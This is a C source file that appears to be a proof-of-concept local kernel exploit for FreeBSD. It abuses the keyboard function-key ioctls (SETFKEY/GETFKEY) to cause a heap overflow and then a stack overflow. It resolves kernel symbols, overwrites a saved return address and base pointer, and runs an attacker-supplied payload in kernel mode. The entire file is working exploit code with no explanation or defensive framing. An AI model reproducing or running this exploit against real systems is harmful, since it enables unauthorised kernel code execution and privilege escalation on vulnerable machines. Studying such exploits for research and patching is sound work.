#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>
int (*kprintf)(const char *fmt, ...);
char *ostype;
uint64_t originalRip;
uint64_t originalRbp;
void *resolve(char *name) {
struct kld_sym_lookup ksym;
ksym.version = sizeof(ksym);
ksym.symname = name;
if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
return (void *)ksym.symvalue;
}
void payload(void) {
kprintf(" [+] Entered kernel payload\n");
strcpy(ostype, "CTurt ");
__asm__ volatile("swapgs; sysret");
}
// Copy the stack onto the heap
void heapOverflow(int index, size_t size) {
fkeyarg_t fkey;
fkey.keynum = index;
fkey.flen = size;
memset(&fkey.keydef, 0, 16);
ioctl(0, SETFKEY, &fkey);
}
// Copy the heap onto the stack
void stackOverflow(int index) {
fkeyarg_t fkey;
fkey.keynum = index;
fkey.flen = 16;
memset(&fkey.keydef, 0, 16);
ioctl(0, GETFKEY, &fkey);
}
int main(void) {
int result, i;
fkeyarg_t fkey;
uint32_t ripLower4 = 0x808312cd; // jmp rbp
uint64_t rbp = (uint64_t)payload;
kprintf = resolve("printf");
ostype = resolve("ostype");
printf(" [+] Set full length for key 10\n");
fkey.keynum = 10;
fkey.flen = 16;
ioctl(0, SETFKEY, &fkey);
printf(" [+] Set bad length and perform heap overflow\n");
heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4));
printf(" [+] Prepare stack overflow memory\n");
fkey.keynum = 10;
fkey.flen = 16;
ioctl(0, GETFKEY, &fkey);
originalRbp = *(uint64_t *)((char *)&fkey.keydef + 4);
originalRip = 0xffffffff00000000 | *(uint32_t *)((char *)&fkey.keydef + 12);
printf(" [+] Original rip: %#lx\n", originalRip);
printf(" [+] Original rbp: %#lx\n", originalRbp);
*(uint64_t *)((char *)&fkey.keydef + 4) = rbp;
*(uint32_t *)((char *)&fkey.keydef + 12) = ripLower4;
ioctl(0, SETFKEY, &fkey);
printf(" [+] Trigger stack overflow\n");
fflush(stdout);
stackOverflow(0);
return 0;
}
